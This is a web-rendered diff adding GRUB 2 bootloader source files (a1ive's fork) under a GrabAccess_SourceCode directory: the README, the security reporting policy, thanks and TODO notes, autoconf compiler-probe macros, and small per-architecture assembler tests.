     12 +If you found a security vulnerability in the GRUB please check the SECURITY
     13 +file to get more information how to properly report this kind of bugs to
     14 +the maintainers.
     15 + 
     16 +Please visit the official web page of GRUB 2, for more information.
     17 +The URL is <http://www.gnu.org/software/grub/grub.html>.
     18 + 
     19 +More extensive documentation is available in the Info manual,
     20 +accessible using 'info grub' after building and installing GRUB 2.
     21 + 
     22 +There are a number of important user-visible differences from the
     23 +first version of GRUB, now known as GRUB Legacy. For a summary, please
     24 +see:
     25 + 
     26 + info grub Introduction 'Changes from GRUB Legacy'
     27 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/README.md
     1 +# THIS PROJECT IS NO LONGER BEING MAINTAINED
     2 + 
     3 +* * *
     4 + 
     5 +# a1ive's GRUB 2
     6 + 
     7 +![](https://img.shields.io/github/license/a1ive/grub) ![](https://img.shields.io/travis/a1ive/grub) ![](https://img.shields.io/github/release-date/a1ive/grub) ![](https://img.shields.io/github/downloads/a1ive/grub/total)
     8 + 
     9 +Fork of GRUB 2 to add various features.
     10 + 
     11 +See the file INSTALL for instructions on how to build and install the GRUB 2 data and program files.
     12 + 
     13 +~~Extra modules: https://github.com/a1ive/grub-extras~~
     14 + 
     15 +Download: https://github.com/a1ive/grub/releases
     16 +若下载速度慢,建议使用 [gitd.cc](http://gitd.cc/) 下载
     17 + 
     18 +Manual: [简体中文](https://a1ive.github.io/grub2_zh.html)
     19 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/SECURITY
     1 +Security Policy
     2 +===============
     3 + 
     4 +To report a vulnerability see "Reporting a Vulnerability" below.
     5 + 
     6 + 
     7 +Security Incident Policy
     8 +========================
     9 + 
     10 +Security bug reports are treated with special attention and are handled
     11 +differently from normal bugs. In particular, security sensitive bugs are not
     12 +handled in public but in private. Information about the bug and access to it
     13 +is restricted to people in the security group, the individual engineers that
     14 +work on fixing it, and any other person who needs to be involved for organisational
     15 +reasons. The process is handled by the security team, which decides on the people
     16 +involved in order to fix the issue. It is also guaranteed that the person reporting
     17 +the issue has visibility into the process of fixing it. Any security issue gets
     18 +prioritized according to its security rating. The issue is opened up to the public
     19 +in coordination with the release schedule and the reporter.
     20 + 
     21 + 
     22 +Disclosure Policy
     23 +=================
     24 + 
     25 +Everyone involved in the handling of a security issue - including the reporter -
     26 +is required to adhere to the following policy. Any information related to
     27 +a security issue must be treated as confidential and only shared with trusted
     28 +partners if necessary, for example to coordinate a release or manage exposure
     29 +of clients to the issue. No information must be disclosed to the public before
     30 +the embargo ends. The embargo time is agreed upon by all involved parties. It
     31 +should be as short as possible without putting any users at risk.
     32 + 
     33 + 
     34 +Supported Versions
     35 +==================
     36 + 
     37 +Only the most recent version of the GRUB is supported.
     38 + 
     39 + 
     40 +Reporting a Vulnerability
     41 +=========================
     42 + 
     43 +The security report should be encrypted with the PGP keys and sent to ALL email
     44 +addresses listed below. Every vulnerability report will be assessed within
     45 +72 hours of receiving it. If the outcome of the assessment is that the report
     46 +describes a security issue, the report will be transferred into an issue on the
     47 +internal vulnerability project for further processing. The reporter is updated
     48 +on each step of the process.
     49 + 
     50 +While there's currently no bug bounty program we appreciate every report.
     51 + 
     52 +* Contact: Daniel Kiper <[email protected]> and
     53 + Daniel Kiper <[email protected]>
     54 +* PGP Key Fingerprint: BE5C 2320 9ACD DACE B20D B0A2 8C81 89F1 988C 2166
     55 + 
     56 +* Contact: Alex Burmashev <[email protected]>
     57 +* PGP Key Fingerprint: 50A4 EC06 EF7E B84D 67E0 3BB6 2AE2 C87E 28EF 2E6E
     58 + 
     59 +* Contact: Vladimir 'phcoder' Serbinenko <[email protected]>
     60 +* PGP Key Fingerprint: E53D 497F 3FA4 2AD8 C9B4 D1E8 35A9 3B74 E82E 4209
     61 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/THANKS
     1 +GRUB 2 would not be what it is today without the invaluable help of
     2 +everybody who was kind enough to spend time testing it and reporting
     3 +bugs.
     4 + 
     5 +The following people made especially gracious contributions of their
     6 +time and energy in helping to track down bugs, add new features, and
     7 +generally assist in the GRUB 2 maintainership process:
     8 + 
     9 +Andrey Shuvikov <[email protected]>
     10 +Bibo Mao <[email protected]>
     11 +David Miller <[email protected]>
     12 +Guillem Jover <[email protected]>
     13 +Harley D. Eades III <[email protected]>
     14 +Hitoshi Ozeki <[email protected]>
     15 +Hollis Blanchard <[email protected]>
     16 +Jeroen Dekkers <[email protected]>
     17 +Johan Rydberg <[email protected]>
     18 +Marco Gerards <[email protected]>
     19 +Michael Guntsche <[email protected]>
     20 +NIIBE Yutaka <[email protected]>
     21 +Omniflux <[email protected]>
     22 +Robert Bihlmeyer <[email protected]>
     23 +Roger Leigh <[email protected]>
     24 +Ruslan Nikolaev <[email protected]>
     25 +Timothy Baldwin <[email protected]>
     26 +Tomas Ebenlendr <[email protected]>
     27 +Tristan Gingold <[email protected]>
     28 +Tsuneyoshi Yasuo <[email protected]>
     29 +Vesa Jaaskelainen <[email protected]>
     30 +Vincent Guffens <[email protected]>
     31 +Vincent Pelletier <[email protected]>
     32 +Vladimir Serbinenko <[email protected]>
     33 + 
     34 +Also, we thank the projects GNU Automake and LZMA. Some code
     35 +was stolen from them.
     36 + 
     37 +This project was supported by Information-technology Promotion Agency,
     38 +Japan.
     39 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/TODO
     1 + 
     2 +Before working on improving GRUB, it's very important that you
     3 +make contact with the core GRUB developers. Things herein might be
     4 +slightly out of date or otherwise not easy to understand at first
     5 +glance. So write to <[email protected]> first.
     6 + 
     7 +For bug tracking, refer to:
     8 + 
     9 + http://savannah.gnu.org/bugs/?group=grub
     10 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/acinclude.m4
     1 +dnl Redefine AC_LANG_PROGRAM with a "-Wstrict-prototypes -Werror"-friendly
     2 +dnl version. Patch submitted to bug-autoconf in 2009-09-16.
     3 +m4_define([AC_LANG_PROGRAM(C)],
     4 +[$1
     5 +int
     6 +main (void)
     7 +{
     8 +dnl Do *not* indent the following line: there may be CPP directives.
     9 +dnl Don't move the `;' right after for the same reason.
     10 +$2
     11 + ;
     12 + return 0;
     13 +}])
     14 + 
     15 + 
     16 +dnl Check whether target compiler is working
     17 +AC_DEFUN([grub_PROG_TARGET_CC],
     18 +[AC_MSG_CHECKING([whether target compiler is working])
     19 +AC_CACHE_VAL(grub_cv_prog_target_cc,
     20 +[AC_LINK_IFELSE([AC_LANG_PROGRAM([[
     21 +asm (".globl start; start:");
     22 +void __main (void);
     23 +void __main (void) {}
     24 +int main (void);
     25 +]], [[]])],
     26 + [grub_cv_prog_target_cc=yes],
     27 + [grub_cv_prog_target_cc=no])
     28 +])
     29 +AC_MSG_RESULT([$grub_cv_prog_target_cc])
     30 + 
     31 +if test "x$grub_cv_prog_target_cc" = xno; then
     32 + AC_MSG_ERROR([cannot compile for the target])
     33 +fi
     34 +])
     35 + 
     36 + 
     37 +dnl grub_ASM_USCORE checks if C symbols get an underscore after
     38 +dnl compiling to assembler.
     39 +dnl Written by Pavel Roskin. Based on grub_ASM_EXT_C written by
     40 +dnl Erich Boleyn and modified by Yoshinori K. Okuji.
     41 +AC_DEFUN([grub_ASM_USCORE],
     42 +[AC_REQUIRE([AC_PROG_CC])
     43 +AC_REQUIRE([AC_PROG_EGREP])
     44 +AC_MSG_CHECKING([if C symbols get an underscore after compilation])
     45 +AC_CACHE_VAL(grub_cv_asm_uscore,
     46 +[cat > conftest.c <<\EOF
     47 +int func (int *);
     48 +int
     49 +func (int *list)
     50 +{
     51 + *list = 0;
     52 + return *list;
     53 +}
     54 +EOF
     55 + 
     56 +if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -S conftest.c]) && test -s conftest.s; then
     57 + true
     58 +else
     59 + AC_MSG_ERROR([${CC-cc} failed to produce assembly code])
     60 +fi
     61 + 
     62 +if $EGREP '(^|[^_[:alnum]])_func' conftest.s >/dev/null 2>&1; then
     63 + HAVE_ASM_USCORE=1
     64 + grub_cv_asm_uscore=yes
     65 +else
     66 + HAVE_ASM_USCORE=0
     67 + grub_cv_asm_uscore=no
     68 +fi
     69 + 
     70 +rm -f conftest*])
     71 + 
     72 +AC_MSG_RESULT([$grub_cv_asm_uscore])
     73 +])
     74 + 
     75 + 
     76 +dnl Some versions of `objcopy -O binary' vary their output depending
     77 +dnl on the link address.
     78 +AC_DEFUN([grub_PROG_OBJCOPY_ABSOLUTE],
     79 +[AC_MSG_CHECKING([whether ${TARGET_OBJCOPY} works for absolute addresses])
     80 +AC_CACHE_VAL(grub_cv_prog_objcopy_absolute,
     81 +[cat > conftest.c <<\EOF
     82 +void cmain (void);
     83 +void
     84 +cmain (void)
     85 +{
     86 + *((int *) 0x1000) = 2;
     87 +}
     88 +EOF
     89 + 
     90 +if AC_TRY_EVAL(ac_compile) && test -s conftest.o; then :
     91 +else
     92 + AC_MSG_ERROR([${CC-cc} cannot compile C source code])
     93 +fi
     94 +grub_cv_prog_objcopy_absolute=yes
     95 +for link_addr in 0x2000 0x8000 0x7C00; do
     96 + if AC_TRY_COMMAND([${CC-cc} ${TARGET_CFLAGS} ${TARGET_LDFLAGS} -nostdlib ${TARGET_IMG_LDFLAGS_AC} ${TARGET_IMG_BASE_LDOPT},$link_addr conftest.o -o conftest.exec]); then :
     97 + else
     98 + AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])
     99 + fi
     100 + if AC_TRY_COMMAND([${TARGET_OBJCOPY-objcopy} --only-section=.text -O binary conftest.exec conftest]); then :
     101 + else
     102 + AC_MSG_ERROR([${TARGET_OBJCOPY-objcopy} cannot create binary files])
     103 + fi
     104 + if test ! -f conftest.old || AC_TRY_COMMAND([cmp -s conftest.old conftest]); then
     105 + mv -f conftest conftest.old
     106 + else
     107 + grub_cv_prog_objcopy_absolute=no
     108 + break
     109 + fi
     110 +done
     111 +rm -f conftest*])
     112 +AC_MSG_RESULT([$grub_cv_prog_objcopy_absolute])
     113 + 
     114 +if test "x$grub_cv_prog_objcopy_absolute" = xno; then
     115 + AC_MSG_ERROR([GRUB requires a working absolute objcopy; upgrade your binutils])
     116 +fi
     117 +])
     118 + 
     119 + 
     120 +dnl Supply --build-id=none to ld if building modules.
     121 +dnl This suppresses warnings from ld on some systems
     122 +AC_DEFUN([grub_PROG_LD_BUILD_ID_NONE],
     123 +[AC_MSG_CHECKING([whether linker accepts --build-id=none])
     124 +AC_CACHE_VAL(grub_cv_prog_ld_build_id_none,
     125 +[save_LDFLAGS="$LDFLAGS"
     126 +LDFLAGS="$LDFLAGS -Wl,--build-id=none"
     127 +AC_LINK_IFELSE([AC_LANG_PROGRAM([[]], [[]])],
     128 + [grub_cv_prog_ld_build_id_none=yes],
     129 + [grub_cv_prog_ld_build_id_none=no])
     130 +LDFLAGS="$save_LDFLAGS"
     131 +])
     132 +AC_MSG_RESULT([$grub_cv_prog_ld_build_id_none])
     133 + 
     134 +if test "x$grub_cv_prog_ld_build_id_none" = xyes; then
     135 + TARGET_LDFLAGS="$TARGET_LDFLAGS -Wl,--build-id=none"
     136 +fi
     137 +])
     138 + 
     139 +dnl Check nm
     140 +AC_DEFUN([grub_PROG_NM_WORKS],
     141 +[AC_MSG_CHECKING([whether nm works])
     142 +AC_CACHE_VAL(grub_cv_prog_nm_works,
     143 +[
     144 +nm_works_tmp_dir="$(mktemp -d "./confXXXXXX")"
     145 +AC_LANG_CONFTEST([AC_LANG_PROGRAM([[]], [[]])])
     146 +$TARGET_CC $TARGET_CFLAGS -c conftest.c -o "$nm_works_tmp_dir/ef"
     147 +if $TARGET_NM "$nm_works_tmp_dir/ef" > /dev/null; then
     148 + grub_cv_prog_nm_works=yes
     149 +else
     150 + grub_cv_prog_nm_minus_p=no
     151 +fi
     152 +rm "$nm_works_tmp_dir/ef"
     153 +rmdir "$nm_works_tmp_dir"
     154 +])
     155 +AC_MSG_RESULT([$grub_cv_prog_nm_works])
     156 + 
     157 +if test "x$grub_cv_prog_nm_works" != xyes; then
     158 + AC_MSG_ERROR([nm does not work])
     159 +fi
     160 +])
     161 + 
     162 +dnl Supply -P to nm
     163 +AC_DEFUN([grub_PROG_NM_MINUS_P],
     164 +[AC_MSG_CHECKING([whether nm accepts -P])
     165 +AC_CACHE_VAL(grub_cv_prog_nm_minus_p,
     166 +[
     167 +nm_minus_p_tmp_dir="$(mktemp -d "./confXXXXXX")"
     168 +AC_LANG_CONFTEST([AC_LANG_PROGRAM([[]], [[]])])
     169 +$TARGET_CC $TARGET_CFLAGS -c conftest.c -o "$nm_minus_p_tmp_dir/ef"
     170 +if $TARGET_NM -P "$nm_minus_p_tmp_dir/ef" 2>&1 > /dev/null; then
     171 + grub_cv_prog_nm_minus_p=yes
     172 +else
     173 + grub_cv_prog_nm_minus_p=no
     174 +fi
     175 +rm "$nm_minus_p_tmp_dir/ef"
     176 +rmdir "$nm_minus_p_tmp_dir"
     177 +])
     178 +AC_MSG_RESULT([$grub_cv_prog_nm_minus_p])
     179 + 
     180 +if test "x$grub_cv_prog_nm_minus_p" = xyes; then
     181 + TARGET_NMFLAGS_MINUS_P="-P"
     182 +else
     183 + TARGET_NMFLAGS_MINUS_P=
     184 +fi
     185 +])
     186 + 
     187 +dnl Supply --defined-only to nm
     188 +AC_DEFUN([grub_PROG_NM_DEFINED_ONLY],
     189 +[AC_MSG_CHECKING([whether nm accepts --defined-only])
     190 +AC_CACHE_VAL(grub_cv_prog_nm_defined_only,
     191 +[
     192 +nm_defined_only_tmp_dir="$(mktemp -d "./confXXXXXX")"
     193 +AC_LANG_CONFTEST([AC_LANG_PROGRAM([[]], [[]])])
     194 +$TARGET_CC $TARGET_CFLAGS -c conftest.c -o "$nm_defined_only_tmp_dir/ef"
     195 +if $TARGET_NM --defined-only "$nm_defined_only_tmp_dir/ef" 2>&1 > /dev/null; then
     196 + grub_cv_prog_nm_defined_only=yes
     197 +else
     198 + grub_cv_prog_nm_defined_only=no
     199 +fi
     200 +rm "$nm_defined_only_tmp_dir/ef"
     201 +rmdir "$nm_defined_only_tmp_dir"
     202 +])
     203 +AC_MSG_RESULT([$grub_cv_prog_nm_defined_only])
     204 + 
     205 +if test "x$grub_cv_prog_nm_defined_only" = xyes; then
     206 + TARGET_NMFLAGS_DEFINED_ONLY=--defined-only
     207 +else
     208 + TARGET_NMFLAGS_DEFINED_ONLY=
     209 +fi
     210 +])
     211 + 
     212 + 
     213 +dnl Check what symbol is defined as a bss start symbol.
     214 +dnl Written by Michael Hohmoth and Yoshinori K. Okuji.
     215 +AC_DEFUN([grub_CHECK_BSS_START_SYMBOL],
     216 +[AC_REQUIRE([AC_PROG_CC])
     217 +AC_MSG_CHECKING([if __bss_start is defined by the compiler])
     218 +AC_CACHE_VAL(grub_cv_check_uscore_uscore_bss_start_symbol,
     219 +[AC_LINK_IFELSE([AC_LANG_PROGRAM([[
     220 +asm (".globl start; start:");
     221 +void __main (void);
     222 +void __main (void) {}
     223 +int main (void);
     224 +]],
     225 + [[asm ("incl __bss_start")]])],
     226 + [grub_cv_check_uscore_uscore_bss_start_symbol=yes],
     227 + [grub_cv_check_uscore_uscore_bss_start_symbol=no])])
     228 + 
     229 +AC_MSG_RESULT([$grub_cv_check_uscore_uscore_bss_start_symbol])
     230 + 
     231 +AC_MSG_CHECKING([if edata is defined by the compiler])
     232 +AC_CACHE_VAL(grub_cv_check_edata_symbol,
     233 +[AC_LINK_IFELSE([AC_LANG_PROGRAM([[
     234 +asm (".globl start; start:");
     235 +void __main (void);
     236 +void __main (void) {}
     237 +int main (void);]],
     238 + [[asm ("incl edata")]])],
     239 + [grub_cv_check_edata_symbol=yes],
     240 + [grub_cv_check_edata_symbol=no])])
     241 + 
     242 +AC_MSG_RESULT([$grub_cv_check_edata_symbol])
     243 + 
     244 +AC_MSG_CHECKING([if _edata is defined by the compiler])
     245 +AC_CACHE_VAL(grub_cv_check_uscore_edata_symbol,
     246 +[AC_LINK_IFELSE([AC_LANG_PROGRAM([[
     247 +asm (".globl start; start:");
     248 +void __main (void);
     249 +void __main (void) {}
     250 +int main (void);]],
     251 + [[asm ("incl _edata")]])],
     252 + [grub_cv_check_uscore_edata_symbol=yes],
     253 + [grub_cv_check_uscore_edata_symbol=no])])
     254 + 
     255 +AC_MSG_RESULT([$grub_cv_check_uscore_edata_symbol])
     256 + 
     257 +if test "x$grub_cv_check_uscore_uscore_bss_start_symbol" = xyes; then
     258 + BSS_START_SYMBOL=__bss_start
     259 +elif test "x$grub_cv_check_edata_symbol" = xyes; then
     260 + BSS_START_SYMBOL=edata
     261 +elif test "x$grub_cv_check_uscore_edata_symbol" = xyes; then
     262 + BSS_START_SYMBOL=_edata
     263 +else
     264 + AC_MSG_ERROR([none of __bss_start, edata or _edata is defined])
     265 +fi
     266 +])
     267 + 
     268 +dnl Check what symbol is defined as an end symbol.
     269 +dnl Written by Yoshinori K. Okuji.
     270 +AC_DEFUN([grub_CHECK_END_SYMBOL],
     271 +[AC_REQUIRE([AC_PROG_CC])
     272 +AC_MSG_CHECKING([if end is defined by the compiler])
     273 +AC_CACHE_VAL(grub_cv_check_end_symbol,
     274 +[AC_LINK_IFELSE([AC_LANG_PROGRAM([[
     275 +asm (".globl start; start:");
     276 +void __main (void);
     277 +void __main (void) {}
     278 +int main (void);]],
     279 + [[asm ("incl end")]])],
     280 + [grub_cv_check_end_symbol=yes],
     281 + [grub_cv_check_end_symbol=no])])
     282 + 
     283 +AC_MSG_RESULT([$grub_cv_check_end_symbol])
     284 + 
     285 +AC_MSG_CHECKING([if _end is defined by the compiler])
     286 +AC_CACHE_VAL(grub_cv_check_uscore_end_symbol,
     287 +[AC_LINK_IFELSE([AC_LANG_PROGRAM([[
     288 +asm (".globl start; start:");
     289 +void __main (void);
     290 +void __main (void) {}
     291 +int main (void);]],
     292 + [[asm ("incl _end")]])],
     293 + [grub_cv_check_uscore_end_symbol=yes],
     294 + [grub_cv_check_uscore_end_symbol=no])])
     295 + 
     296 +AC_MSG_RESULT([$grub_cv_check_uscore_end_symbol])
     297 + 
     298 +if test "x$grub_cv_check_end_symbol" = xyes; then
     299 + END_SYMBOL=end
     300 +elif test "x$grub_cv_check_uscore_end_symbol" = xyes; then
     301 + END_SYMBOL=_end
     302 +else
     303 + AC_MSG_ERROR([neither end nor _end is defined])
     304 +fi
     305 +])
     306 + 
     307 +
     308 +dnl Check if the C compiler supports the stack protector
     309 +AC_DEFUN([grub_CHECK_STACK_PROTECTOR],[
     310 +[# Stack smashing protector.
     311 +ssp_possible=yes]
     312 +AC_MSG_CHECKING([whether `$CC' accepts `-fstack-protector'])
     313 +# Is this a reliable test case?
     314 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[
     315 +void foo (void) { volatile char a[8]; a[3]; }
     316 +]])])
     317 +[# `$CC -c -o ...' might not be portable. But, oh, well... Is calling
     318 +# `ac_compile' like this correct, after all?
     319 +if eval "$ac_compile -S -fstack-protector -o conftest.s" 2> /dev/null; then]
     320 + AC_MSG_RESULT([yes])
     321 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     322 + rm -f conftest.s
     323 +else
     324 + ssp_possible=no]
     325 + AC_MSG_RESULT([no])
     326 +[fi]
     327 +[# Strong stack smashing protector.
     328 +ssp_strong_possible=yes]
     329 +AC_MSG_CHECKING([whether `$CC' accepts `-fstack-protector-strong'])
     330 +# Is this a reliable test case?
     331 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[
     332 +void foo (void) { volatile char a[8]; a[3]; }
     333 +]])])
     334 +[# `$CC -c -o ...' might not be portable. But, oh, well... Is calling
     335 +# `ac_compile' like this correct, after all?
     336 +if eval "$ac_compile -S -fstack-protector-strong -o conftest.s" 2> /dev/null; then]
     337 + AC_MSG_RESULT([yes])
     338 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     339 + rm -f conftest.s
     340 +else
     341 + ssp_strong_possible=no]
     342 + AC_MSG_RESULT([no])
     343 +[fi]
     344 +[# Global stack smashing protector.
     345 +ssp_global_possible=yes]
     346 +AC_MSG_CHECKING([whether `$CC' accepts `-mstack-protector-guard=global'])
     347 +# Is this a reliable test case?
     348 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[
     349 +void foo (void) { volatile char a[8]; a[3]; }
     350 +]])])
     351 +[# `$CC -c -o ...' might not be portable. But, oh, well... Is calling
     352 +# `ac_compile' like this correct, after all?
     353 +if eval "$ac_compile -S -fstack-protector -mstack-protector-guard=global -o conftest.s" 2> /dev/null; then]
     354 + AC_MSG_RESULT([yes])
     355 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     356 + rm -f conftest.s
     357 +else
     358 + ssp_global_possible=no]
     359 + AC_MSG_RESULT([no])
     360 +[fi]
     361 +])
     362 + 
     363 +dnl Check if the C compiler supports `-mstack-arg-probe' (Cygwin).
     364 +AC_DEFUN([grub_CHECK_STACK_ARG_PROBE],[
     365 +[# Smashing stack arg probe.
     366 +sap_possible=yes]
     367 +AC_MSG_CHECKING([whether `$CC' accepts `-mstack-arg-probe'])
     368 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[
     369 +void foo (void) { volatile char a[8]; a[3]; }
     370 +]])])
     371 +[if eval "$ac_compile -S -mstack-arg-probe -Werror -o conftest.s" 2> /dev/null; then]
     372 + AC_MSG_RESULT([yes])
     373 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     374 + rm -f conftest.s
     375 +else
     376 + sap_possible=no]
     377 + AC_MSG_RESULT([no])
     378 +[fi]
     379 +])
     380 + 
     381 +dnl Check if ln -s can handle directories properly (mingw).
     382 +AC_DEFUN([grub_CHECK_LINK_DIR],[
     383 +AC_MSG_CHECKING([whether ln -s can handle directories properly])
     384 +[mkdir testdir 2>/dev/null
     385 +case $srcdir in
     386 +[\\/$]* | ?:[\\/]* ) reldir=$srcdir/include/grub/util ;;
     387 + *) reldir=../$srcdir/include/grub/util ;;
     388 +esac
     389 +if ln -s $reldir testdir/util 2>/dev/null && rm -f testdir/util 2>/dev/null ; then]
     390 + AC_MSG_RESULT([yes])
     391 + [link_dir=yes
     392 +else
     393 + link_dir=no]
     394 + AC_MSG_RESULT([no])
     395 +[fi
     396 +rm -rf testdir]
     397 +])
     398 + 
     399 +dnl Check if the C compiler supports `-fPIE'.
     400 +AC_DEFUN([grub_CHECK_PIE],[
     401 +[# Position independent executable.
     402 +pie_possible=yes]
     403 +AC_MSG_CHECKING([whether `$CC' has `-fPIE' as default])
     404 +# Is this a reliable test case?
     405 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[
     406 +#ifdef __PIE__
     407 +int main() {
     408 + return 0;
     409 +}
     410 +#else
     411 +#error NO __PIE__ DEFINED
     412 +#endif
     413 +]])])
     414 + 
     415 +[# `$CC -c -o ...' might not be portable. But, oh, well... Is calling
     416 +# `ac_compile' like this correct, after all?
     417 +if eval "$ac_compile -S -o conftest.s" 2> /dev/null; then]
     418 + AC_MSG_RESULT([yes])
     419 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     420 + rm -f conftest.s
     421 +else
     422 + pie_possible=no]
     423 + AC_MSG_RESULT([no])
     424 +[fi]
     425 +])
     426 + 
     427 +AC_DEFUN([grub_CHECK_LINK_PIE],[
     428 +[# Position independent executable.
     429 +link_nopie_needed=no]
     430 +AC_MSG_CHECKING([whether linker needs disabling of PIE to work])
     431 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[]])])
     432 + 
     433 +[if eval "$ac_compile -Wl,-r -nostdlib -Werror -o conftest.o" 2> /dev/null; then]
     434 + AC_MSG_RESULT([no])
     435 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     436 + rm -f conftest.o
     437 +else
     438 + link_nopie_needed=yes]
     439 + AC_MSG_RESULT([yes])
     440 +[fi]
     441 +])
     442 + 
     443 + 
     444 +dnl Check if the Linker supports `-no-pie'.
     445 +AC_DEFUN([grub_CHECK_NO_PIE],
     446 +[AC_MSG_CHECKING([whether linker accepts -no-pie])
     447 +AC_CACHE_VAL(grub_cv_cc_ld_no_pie,
     448 +[save_LDFLAGS="$LDFLAGS"
     449 +LDFLAGS="$LDFLAGS -no-pie -nostdlib -Werror"
     450 +AC_LINK_IFELSE([AC_LANG_PROGRAM([[]], [[]])],
     451 + [grub_cv_cc_ld_no_pie=yes],
     452 + [grub_cv_cc_ld_no_pie=no])
     453 +LDFLAGS="$save_LDFLAGS"
     454 +])
     455 +AC_MSG_RESULT([$grub_cv_cc_ld_no_pie])
     456 +nopie_possible=no
     457 +if test "x$grub_cv_cc_ld_no_pie" = xyes ; then
     458 + nopie_possible=yes
     459 +fi
     460 +])
     461 + 
     462 +AC_DEFUN([grub_CHECK_NO_PIE_ONEWORD],
     463 +[AC_MSG_CHECKING([whether linker accepts -nopie])
     464 +AC_CACHE_VAL(grub_cv_cc_ld_no_pie_oneword,
     465 +[save_LDFLAGS="$LDFLAGS"
     466 +LDFLAGS="$LDFLAGS -nopie -nostdlib -Werror"
     467 +AC_LINK_IFELSE([AC_LANG_PROGRAM([[]], [[]])],
     468 + [grub_cv_cc_ld_no_pie_oneword=yes],
     469 + [grub_cv_cc_ld_no_pie_oneword=no])
     470 +LDFLAGS="$save_LDFLAGS"
     471 +])
     472 +AC_MSG_RESULT([$grub_cv_cc_ld_no_pie_oneword])
     473 +nopie_oneword_possible=no
     474 +if test "x$grub_cv_cc_ld_no_pie_oneword" = xyes ; then
     475 + nopie_oneword_possible=yes
     476 +fi
     477 +])
     478 + 
     479 +dnl Check if the C compiler supports `-fPIC'.
     480 +AC_DEFUN([grub_CHECK_PIC],[
     481 +[# Position independent executable.
     482 +pic_possible=yes]
     483 +AC_MSG_CHECKING([whether `$CC' has `-fPIC' as default])
     484 +# Is this a reliable test case?
     485 +AC_LANG_CONFTEST([AC_LANG_SOURCE([[
     486 +#ifdef __PIC__
     487 +int main() {
     488 + return 0;
     489 +}
     490 +#else
     491 +#error NO __PIC__ DEFINED
     492 +#endif
     493 +]])])
     494 + 
     495 +[# `$CC -c -o ...' might not be portable. But, oh, well... Is calling
     496 +# `ac_compile' like this correct, after all?
     497 +if eval "$ac_compile -S -o conftest.s" 2> /dev/null; then]
     498 + AC_MSG_RESULT([yes])
     499 + [# Should we clear up other files as well, having called `AC_LANG_CONFTEST'?
     500 + rm -f conftest.s
     501 +else
     502 + pic_possible=no]
     503 + AC_MSG_RESULT([no])
     504 +[fi]
     505 +])
     506 + 
     507 +dnl Create an output variable with the transformed name of a GRUB utility
     508 +dnl program.
     509 +AC_DEFUN([grub_TRANSFORM],[dnl
     510 +AC_SUBST(AS_TR_SH([$1]), [`AS_ECHO([$1]) | sed "$program_transform_name"`])dnl
     511 +])
     512 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/asm-tests/arm.S
     1 +/* on arm clang doesn't support .arch directive */
     2 + 
     3 + .text
     4 + .syntax unified
     5 + 
     6 +#if !defined (__thumb2__)
     7 + .arch armv7a
     8 + .arm
     9 +#else
     10 + .arch armv7
     11 + .thumb
     12 +#endif
     13 + mcr p15, 0, r11, c7, c14, 2
     14 + 
     15 + /* clang restricts access to dsb/isb despite .arch */
     16 + dsb
     17 + isb
     18 + 
     19 + 
     20 +
     21 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/asm-tests/i386-pc.S
     1 +/* on x86 old clang doesn't support .code16
     2 + newer clang supports it but creates 6-byte jumps instead of 3-byte ones
     3 + which makes us go over boot sector size.
     4 + Starting with 3.9 clang emits 3-byte jumps but still creates 8-bytes movl
     5 + instead of 5-bytes, so code overflows into data. */
     6 + 
     7 + .code16
     8 + jmp far
     9 + .org 4
     10 + jmp nearer
     11 + .org 6
     12 + movl nearer, %ebx
     13 + .org 11
     14 + .space 100
     15 +nearer:
     16 + .space 200
     17 +far:
     18 + .byte 0
     19 + 
  • ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/asm-tests/i386.S
     1 +/* on x86 old clang doesn't support .code16 */
     2 + 
     3 + .code16
     4 + movb %al, %bl
     5 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/asm-tests/mips.S
     1 +/* on mips clang doesn't support privilegied instructions, doubleword store/load
     2 + and crashes with hand-written assembly
     3 + */
     4 + 
     5 + .set mips3
     6 + sync
     7 + ld $t2, 0($t1)
     8 + 
     9 +a:
     10 + addiu $t1, $s0, (b - a)
     11 +b: nop
     12 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/asm-tests/powerpc.S
     1 +/* clang <= 3.3 doesn't handle most of ppc assembly, not even inline assembly
     2 + used by gcrypt */
     3 +/* Cache invalidation loop is a fair test. */
     4 + li 5, 0
     5 +1: icbi 5, 3
     6 + addi 5, 5, 32
     7 + cmpw 5, 4
     8 + blt 1b
     9 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/asm-tests/sparc64.S
     1 + .text
     2 +1:
     3 + /* A small list of examples of what clang doesn't support. */
     4 + clr %o0
     5 + lduw [%o4 + 4], %o4
     6 + and %o6, ~0xff, %o6
     7 + stw %o5, [%o3]
     8 + bne,pt %icc, 1b
     9 + nop
     10 + 
Please wait...
Page is in error, reload to recover